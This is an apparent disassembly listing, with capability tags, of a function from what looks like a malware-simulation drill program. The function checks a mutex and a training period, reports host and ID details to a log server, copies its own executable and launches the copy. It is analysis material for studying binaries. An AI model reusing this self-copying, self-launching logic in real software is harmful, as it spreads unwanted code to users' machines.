Function at 0x4071f4
Capabilities:
Check mutex on windows
Copy file
Create process on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x18c
mov eax, dword [0x4932e0]
xor eax, esp
mov dword [esp + 0x188], eax
push ebx
push esi
push edi
xor ebx, ebx
push 0x2c
mov dword [esp + 0x28], ebx
call fcn.00419054
pop ecx
test eax, eax
je 0x407232
mov ecx, eax
call fcn.0040ccde
mov esi, eax
mov dword [esp + 0x2c], esi
jmp 0x407238
mov esi, ebx
mov dword [esp + 0x2c], ebx
push 1
call fcn.00419054
pop ecx
push 0x28
mov dword [esp + 0x18], eax
call fcn.00419054
pop ecx
test eax, eax
je 0x40725f
mov ecx, eax
call fcn.0040c49e
mov edi, eax
mov dword [esp + 0x18], edi
jmp 0x407265
mov edi, ebx
mov dword [esp + 0x18], ebx
mov ecx, esi
call fcn.0040cd96
test al, al
jne 0x4072de
push ecx
push ebx
push ecx
mov esi, esp
push ecx
mov ecx, esp
push str.Out_Of_Period_Access
call fcn.00402312
push ecx
mov ecx, esp
push 0x480b04
call fcn.00402312
push edi
push esi
call fcn.0040b77a
call fcn.0040b659
mov ecx, dword [esp + 0x2c]
test ecx, ecx
je 0x4072a9
push ecx
call fcn.00407abb
push ecx
push ebx
push ecx
mov esi, esp
push ecx
mov ecx, esp
push str.Self_Terminate_Treatment
call fcn.00402312
push ecx
mov ecx, esp
push 0x480b24
call fcn.00402312
push edi
push esi
call fcn.0040b77a
call fcn.0040b659
call fcn.0040ce45
jmp 0x40797b
test esi, esi
je 0x4072ea
push ecx
mov ecx, esi
call fcn.00407abb
push 0x24
call fcn.00419054
pop ecx
test eax, eax
je 0x407303
mov ecx, eax
call fcn.00408f18
mov dword [esp + 0x2c], eax
jmp 0x407307
mov dword [esp + 0x2c], ebx
push 0x47fd1c
mov ecx, 0x497b28
call fcn.0040817a
test eax, eax
je 0x40731f
call fcn.0040b552
push ecx
push ebx
push ecx
mov esi, esp
push ecx
mov ecx, esp
push str.Origin_Malware_Start
call fcn.00402312
push ecx
mov ecx, esp
push 0x480b40
call fcn.00402312
push edi
push esi
call fcn.0040b77a
call fcn.0040b659
push str.FsecDrill
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 0xfe
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x95]
push ebx
push eax
mov byte [esp + 0x9c], bl
call fcn.0041f000
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push ebx
push 0x410
mov esi, ebx
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x4073bd
push 0xfe
lea eax, [esp + 0x94]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_K32GetModuleBaseNameA]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, 0xff
jae 0x407ab5
push 0x4941e8
lea ecx, [esp + 0x20]
mov byte [esp + esi + 0x94], bl
call fcn.0040255b
push str.4561
lea eax, [esp + 0x20]
push str._s.exe
push eax
call fcn.00402ba1
add esp, 0xc
lea eax, [esp + 0x90]
push eax
lea ecx, [esp + 0x20]
call fcn.0040817a
mov esi, dword [esp + 0x1c]
test eax, eax
je 0x407468
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x40742a
push ecx
lea ecx, [esi - 0x10]
mov edi, esp
call fcn.0040280e
add eax, 0x10
mov dword [edi], eax
call fcn.00407151
pop ecx
cmp eax, 1
jne 0x407468
push ecx
push ebx
push ecx
mov edi, esp
push ecx
mov ecx, esp
push str.Mutex_Duplicate_execution_
call fcn.00402312
push ecx
mov ecx, esp
push 0x480b74
call fcn.00402312
mov ecx, dword [esp + 0x2c]
push ecx
push edi
call fcn.0040b77a
call fcn.0040b659
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x407973
push 0xc
call fcn.00419054
pop ecx
test eax, eax
je 0x407483
mov ecx, eax
call fcn.004012b5
mov edi, eax
mov dword [esp + 0x1c], edi
jmp 0x407489
mov edi, ebx
mov dword [esp + 0x1c], ebx
mov ecx, edi
call fcn.00401477
cmp al, 1
jne 0x4074d9
push str.false
push ecx
push ecx
mov ecx, esp
push str.isConfigInit
mov dword [esp + 0x34], 1
call fcn.00402312
push ecx
mov ecx, esp
push str.drill
call fcn.00402312
lea eax, [esp + 0x38]
push eax
mov ecx, edi
call fcn.004013e7
pop ecx
mov ecx, eax
call fcn.0040817a
mov byte [esp + 0x23], 1
test eax, eax
je 0x4074dd
mov byte [esp + 0x23], bl
test byte [esp + 0x24], 1
je 0x4074f0
mov ecx, dword [esp + 0x28]
add ecx, 0xfffffff0
call fcn.00401253
push ecx
cmp byte [esp + 0x27], bl
je 0x40774f
mov ecx, dword [esp + 0x1c]
mov edi, esp
mov ecx, dword [ecx + 0x18]
sub ecx, 0x10
call fcn.0040280e
push ecx
add eax, 0x10
mov ecx, esp
push str.trn_id
mov dword [edi], eax
call fcn.00402312
push ecx
mov ecx, esp
push str.Computer_Information
call fcn.00402312
mov ecx, dword [esp + 0x28]
call fcn.0040132a
mov eax, dword [esp + 0x18]
push ecx
mov ecx, dword [eax + 0x20]
sub ecx, 0x10
mov edi, esp
call fcn.0040280e
push ecx
add eax, 0x10
mov ecx, esp
push str.template_Id
mov dword [edi], eax
call fcn.00402312
push ecx
mov ecx, esp
push str.Computer_Information
call fcn.00402312
mov ecx, dword [esp + 0x28]
call fcn.0040132a
mov eax, dword [esp + 0x18]
push ecx
mov ecx, dword [eax + 0x1c]
sub ecx, 0x10
mov edi, esp
call fcn.0040280e
push ecx
add eax, 0x10
mov ecx, esp
push str.malware_Id
mov dword [edi], eax
call fcn.00402312
push ecx
mov ecx, esp
push str.Computer_Information
call fcn.00402312
mov ecx, dword [esp + 0x28]
call fcn.0040132a
mov eax, dword [esp + 0x18]
push ecx
mov ecx, dword [eax + 0x24]
sub ecx, 0x10
mov edi, esp
call fcn.0040280e
push ecx
add eax, 0x10
mov ecx, esp
push str.user_Id
mov dword [edi], eax
call fcn.00402312
push ecx
mov ecx, esp
push str.Computer_Information
call fcn.00402312
mov ecx, dword [esp + 0x28]
call fcn.0040132a
push 0x47fd1c
mov ecx, 0x497b28
call fcn.0040817a
test eax, eax
je 0x4076af
mov edi, 0x4941e8
push edi
lea ecx, [esp + 0x2c]
call fcn.0040255b
push edi
lea ecx, [esp + 0x28]
call fcn.0040255b
push 1
lea eax, [esp + 0x28]
push 0x47fb4c
push eax
call fcn.00402ba1
add esp, 0xc
lea eax, [esp + 0x24]
push eax
mov edx, str.LogServer
lea ecx, [esp + 0x14]
call fcn.004023c2
pop ecx
push eax
lea ecx, [esp + 0x2c]
call fcn.00402374
mov ecx, dword [esp + 0x10]
add ecx, 0xfffffff0
call fcn.00401253
push ecx
mov ebx, esp
push ecx
mov ecx, dword [0x497b28]
add ecx, 0xfffffff0
mov edi, esp
call fcn.0040280e
add eax, 0x10
push ebx
mov dword [edi], eax
call fcn.0040b4e8
mov ebx, dword [esp + 0x2c]
push ecx
lea ecx, [ebx - 0x10]
mov edi, esp
call fcn.0040280e
push ecx
add eax, 0x10
mov ecx, esp
push str.connect
mov dword [edi], eax
call fcn.00402312
mov ecx, dword [esp + 0x28]
call fcn.0040132a
mov ecx, dword [esp + 0x24]
lea ecx, [ecx - 0x10]
call fcn.00401253
lea ecx, [ebx - 0x10]
call fcn.00401253
xor ebx, ebx
push ecx
mov edi, esp
push ecx
mov ecx, esp
push str.Treatment
call fcn.00402312
push ecx
mov ecx, esp
push 0x480ba4
call fcn.00402312
push dword [esp + 0x24]
push edi
call fcn.0040b77a
push ecx
mov ecx, esp
push str.malChecker
call fcn.00402312
push ecx
mov ecx, esp
push str.Computer_Information
call fcn.00402312
mov edi, dword [esp + 0x28]
mov ecx, edi
call fcn.0040132a
mov ecx, dword [esp + 0x18]
push edi
call fcn.0040c58a
push ecx
mov ecx, esp
push str.true
call fcn.00402312
push ecx
mov ecx, esp
push str.isConfigInit
call fcn.00402312
push ecx
mov ecx, esp
push str.drill
call fcn.00402312
mov ecx, edi
call fcn.0040132a
push ecx
push ebx
push ecx
mov edi, esp
push ecx
mov ecx, esp
push str.ConfigFileInitSuccess
call fcn.00402312
push ecx
mov ecx, esp
push 0x480bc0
jmp 0x407768
push ebx
push ecx
mov edi, esp
push ecx
mov ecx, esp
push str.ConfigFileInitFail
call fcn.00402312
push ecx
mov ecx, esp
push 0x480bd8
call fcn.00402312
push dword [esp + 0x2c]
push edi
call fcn.0040b77a
call fcn.0040b659
push str.false
push ecx
push ecx
mov ecx, esp
push str.isInit
call fcn.00402312
push ecx
mov ecx, esp
push str.drill
call fcn.00402312
mov edi, dword [esp + 0x2c]
lea eax, [esp + 0x20]
push eax
mov ecx, edi
call fcn.004013e7
pop ecx
mov ecx, eax
call fcn.0040817a
mov ecx, dword [esp + 0x10]
mov ebx, eax
neg ebx
sbb bl, bl
add ecx, 0xfffffff0
call fcn.00401253
push ecx
inc bl
je 0x407816
mov ecx, esp
push str.true
call fcn.00402312
push ecx
mov ecx, esp
push str.isInit
call fcn.00402312
push ecx
mov ecx, esp
push str.drill
call fcn.00402312
mov ecx, edi
call fcn.0040132a
push ecx
xor ebx, ebx
push ebx
push ecx
mov edi, esp
push ecx
mov ecx, esp
push str.Init
call fcn.00402312
push ecx
mov ecx, esp
push 0x480be4
jmp 0x407831
xor ebx, ebx
push ebx
push ecx
mov edi, esp
push ecx
mov ecx, esp
push str.start
call fcn.00402312
push ecx
mov ecx, esp
push 0x480b40
call fcn.00402312
push dword [esp + 0x2c]
push edi
call fcn.0040b77a
call fcn.0040b659
or dword [esp + 0x34], 0xffffffff
xor eax, eax
lea edi, [esp + 0x38]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov edi, dword [esp + 0x2c]
push dword [edi + 0x1c]
lea eax, [edi + 0xc]
mov ecx, eax
mov dword [esp + 0x14], eax
call fcn.0040817a
test eax, eax
je 0x4078b1
push 1
push dword [edi + 0xc]
push dword [edi + 0x1c]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push ecx
push ebx
push ecx
mov edi, esp
push ecx
mov ecx, esp
test eax, eax
jne 0x407994
push str.ProgramCopyFail
call fcn.00402312
push ecx
mov ecx, esp
push 0x480c00
call fcn.00402312
push dword [esp + 0x2c]
push edi
call fcn.0040b77a
call fcn.0040b659
mov eax, dword [esp + 0x14]
test eax, eax
je 0x4078c0
push eax
call fcn.004183a9
pop ecx
mov edi, dword [esp + 0x18]
test edi, edi
je 0x4078d6
mov ecx, edi
call fcn.0040c79a
push edi
call fcn.004183a9
pop ecx
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x4078e6
push ecx
mov ecx, eax
call fcn.00407b28
mov edi, dword [esp + 0x2c]
mov ecx, edi
call fcn.0040900a
push edi
call fcn.004183a9
pop ecx
push 0x10
call fcn.00419054
mov dword [esp + 0x34], eax
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
pop ecx
mov ecx, dword [ebp + 8]
mov dword [eax], ecx
mov ecx, dword [esp + 0x30]
mov eax, dword [ebp + 0xc]
mov dword [ecx + 4], eax
mov ecx, dword [esp + 0x30]
mov eax, dword [ebp + 0x10]
mov dword [ecx + 8], eax
mov eax, dword [esp + 0x30]
mov ecx, dword [ebp + 0x14]
push ebx
push ebx
mov dword [eax + 0xc], ecx
lea eax, [esp + 0x38]
push eax
push 0x407dea
push ebx
push ebx
call edi
push ebx
push ebx
push ebx
push 0x407b6a
push ebx
push ebx
mov dword [esp + 0x4c], eax
call edi
mov dword [esp + 0x38], eax
mov eax, dword [esp + ebx*4 + 0x34]
test eax, eax
je 0x40796d
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 5
jl 0x407951
lea ecx, [esi - 0x10]
call fcn.00401253
mov ecx, dword [esp + 0x194]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.004183ae
mov esp, ebp
pop ebp
ret 0x10
push str.ProgramCopySuccess
call fcn.00402312
push ecx
mov ecx, esp
push 0x480c18
call fcn.00402312
push dword [esp + 0x2c]
push edi
call fcn.0040b77a
call fcn.0040b659
push ecx
mov ecx, esp
push str.true
call fcn.00402312
push ecx
mov ecx, esp
push str.isCopy
call fcn.00402312
push ecx
mov ecx, esp
push str.drill
call fcn.00402312
mov ecx, dword [esp + 0x28]
call fcn.0040132a
push 0x44
pop edi
push edi
lea eax, [esp + 0x4c]
push ebx
push eax
call fcn.0041f000
mov dword [esp + 0x54], edi
xor eax, eax
lea edi, [esp + 0x40]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
push 0x47fd1c
lea ecx, [esp + 0x28]
stosd dword es:[edi], eax
call fcn.00402312
mov edi, dword [esp + 0x10]
push edi
lea ecx, [esp + 0x28]
call fcn.00402374
lea eax, [esp + 0x34]
push eax
lea eax, [esp + 0x4c]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push dword [edi]
push dword [edi]
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x407a55
mov ecx, dword [esp + 0x24]
lea ecx, [ecx - 0x10]
call fcn.00401253
jmp 0x407973
push ecx
mov ecx, esp
push str.true
call fcn.00402312
push ecx
mov ecx, esp
push str.isExcute
call fcn.00402312
push ecx
mov ecx, esp
push str.drill
call fcn.00402312
mov ecx, dword [esp + 0x28]
call fcn.0040132a
push ecx
push ebx
push ecx
mov edi, esp
push ecx
mov ecx, esp
push str.CreateProcessSuccess
call fcn.00402312
push ecx
mov ecx, esp
push 0x480c34
call fcn.00402312
push dword [esp + 0x2c]
push edi
call fcn.0040b77a
call fcn.0040b659
jmp 0x407a44
call fcn.0041a0f0
int3